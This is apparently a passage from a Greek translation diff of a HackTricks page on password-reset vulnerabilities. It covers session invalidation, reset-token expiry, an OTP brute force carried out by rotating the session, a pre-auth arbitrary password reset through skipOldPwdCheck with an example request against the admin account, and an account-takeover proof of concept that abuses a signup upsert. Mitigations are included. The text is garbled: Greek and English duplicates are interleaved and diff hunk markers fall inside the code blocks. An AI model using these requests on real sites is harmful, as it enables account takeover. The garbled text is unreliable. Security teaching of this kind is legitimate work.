## **Session Invalidation in Logout/Password Reset**
- Εξασφάλιση ότι οι συνεδρίες ακυρώνονται όταν ένας χρήστης κάνει logout ή επαναφέρει τον κωδικό του.
- **Μέτρα αντιμετώπισης**:
- Εφαρμόστε σωστή διαχείριση συνεδριών, εξασφαλίζοντας ότι όλες οι συνεδρίες ακυρώνονται κατά το logout ή την επαναφορά κωδικού.
- Εξασφαλίστε ότι τα sessions invalidated όταν ένας χρήστης κάνει logout ή αλλάξει password.
- **Βήματα μετριασμού**:
- Εφαρμόστε σωστή session management, διασφαλίζοντας ότι όλα τα sessions invalidated κατά το logout ή το password reset.
## **Ακύρωση συνεδρίας κατά Logout/Password Reset**
## **Session Invalidation in Logout/Password Reset**
- Τα reset tokens πρέπει να έχουν χρόνο λήξης μετά τον οποίο γίνονται άκυρα.
- **Μέτρα αντιμετώπισης**:
- Ορίστε λογικό χρόνο λήξης για τα reset tokens και εφαρμόστε το αυστηρά στο server-side.
- Τα reset tokens θα πρέπει να έχουν χρόνο λήξης μετά τον οποίο γίνονται invalid.
- **Βήματα μετριασμού**:
- Ορίστε λογικό expiration time για τα reset tokens και επιβάλετέ το αυστηρά server-side.
## **Παράκαμψη rate limit OTP αλλάζοντας τη συνεδρία σας**
## **OTP rate limit bypass by changing your session**
- Εάν ο ιστότοπος χρησιμοποιεί τη συνεδρία χρήστη για να παρακολουθεί λανθασμένες προσπάθειες OTP και το OTP είναι αδύναμο ( <= 4 ψηφία), τότε μπορούμε ουσιαστικά να κάνουμε bruteforce το OTP.
- **εκμετάλλευση**:
- απλά αιτηθείτε νέο session token μετά το μπλοκάρισμα από τον server.
- **Παράδειγμα** κώδικα που εκμεταλλεύεται αυτό το σφάλμα μαντεύοντας τυχαία το OTP (όταν αλλάζετε τη συνεδρία, το OTP θα αλλάξει επίσης, και έτσι δεν θα μπορούμε να το brute-force σειριακά!):
- Αν η ιστοσελίδα χρησιμοποιεί user session για την παρακολούθηση λανθασμένων OTP προσπαθειών και το OTP είναι αδύναμο (<= 4 digits) τότε μπορούμε ουσιαστικά να bruteforce το OTP.
- **εξακρίβωση/επεκτάσεις**:
- Απλά αιτηθείτε ένα νέο session token μετά το μπλοκάρισμα από το server.
- **Example** code που εκμεταλλεύεται αυτό το bug με τυχαίες εικασίες του OTP (όταν αλλάζετε session το OTP θα αλλάζει επίσης, οπότε δεν μπορούμε να το brute-force σειριακά!):
``` python
# Authentication bypass by password reset
@ -231,11 +231,11 @@ except Exception as e:
print("[+] Attck stopped")
```
## Αυθαίρετη επαναφορά κωδικού μέσω skipOldPwdCheck (pre-auth)
## Arbitrary password reset via skipOldPwdCheck (pre-auth)
Ορισμένες υλοποιήσεις εκθέτουν μια ενέργεια αλλαγής κωδικού που καλεί τη ρουτίνα αλλαγής κωδικού με skipOldPwdCheck=true και δεν επαληθεύει κανένα reset token ή ιδιοκτησία. Εάν το endpoint δέχεται μια παράμετρο action όπως change_password και ένα username/new password στο σώμα του αιτήματος, ένας επιτιθέμενος μπορεί να επαναφέρει αυθαίρετους λογαριασμούς pre-auth.
Κάποιες υλοποιήσεις εκθέτουν μια ενέργεια αλλαγής password που καλεί τη ρουτίνα αλλαγής password με skipOldPwdCheck=true και δεν επαληθεύει κανένα reset token ή ιδιοκτησία. Εάν το endpoint δέχεται ένα parameter action όπως change_password και ένα username/new password στο request body, ένας attacker μπορεί να επαναφέρει αυθαίρετους λογαριασμούς pre-auth.
Ευάλωτο μοτίβο (PHP):
Vulnerable pattern (PHP):
```php
// hub/rpwd.php
RequestHandler::validateCSRFToken();
@ -263,13 +263,26 @@ Content-Type: application/x-www-form-urlencoded
action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd!
```
Μέτρα αντιμετώπισης:
- Απαιτείτε πάντα ένα έγκυρο, χρονικά περιορισμένο reset token δεσμευμένο στον λογαριασμό και στη συνεδρία πριν από την αλλαγή του password.
- Ποτέ μην εκθέτετε μονοπάτια skipOldPwdCheck σε μη πιστοποιημένους χρήστες; επιβάλετε έλεγχο ταυτότητας για τις κανονικές αλλαγές password και επαληθεύστε το παλιό password.
- Ακυρώστε όλες τις ενεργές συνεδρίες και όλα τα reset tokens μετά από μια αλλαγή password.
- Απαιτείτε πάντα ένα έγκυρο, χρονικά οριοθετημένο reset token συνδεδεμένο με τον λογαριασμό και τη συνεδρία πριν την αλλαγή του κωδικού.
- Μην εκθέτετε ποτέ τις διαδρομές skipOldPwdCheck σε μη πιστοποιημένους χρήστες· επιβάλετε έλεγχο ταυτότητας για τις κανονικές αλλαγές κωδικού και επαληθεύστε τον παλιό κωδικό.
- Ακυρώστε όλες τις ενεργές συνεδρίες και τα reset tokens μετά την αλλαγή κωδικού.
## Εγγραφή ως Επαναφορά Κωδικού (Upsert σε υπάρχον email)
Ορισμένες εφαρμογές υλοποιούν τον signup handler ως upsert. Αν το email υπάρχει ήδη, ο handler ενημερώνει σιωπηλά την εγγραφή του χρήστη αντί να απορρίψει το αίτημα. Όταν το registration endpoint δέχεται ένα ελάχιστο JSON σώμα με υπάρχον email και νέο password, στην πράξη γίνεται επαναφορά κωδικού πριν την αυθεντικοποίηση χωρίς καμία επαλήθευση ιδιοκτησίας, επιτρέποντας πλήρη κατάληψη του λογαριασμού.
Pre-auth ATO PoC (επανεγγραφή του κωδικού υπάρχοντος χρήστη):
```http
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json
{"email":"victim@example.com","password":"New@12345"}
```
## Αναφορές
- [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
- [How I Found a Critical Password Reset Bug (Registration upsert ATO)](https://s41n1k.medium.com/how-i-found-a-critical-password-reset-bug-in-the-bb-program-and-got-4-000-a22fffe285e1)
{{#include ../banners/hacktricks-training.md}}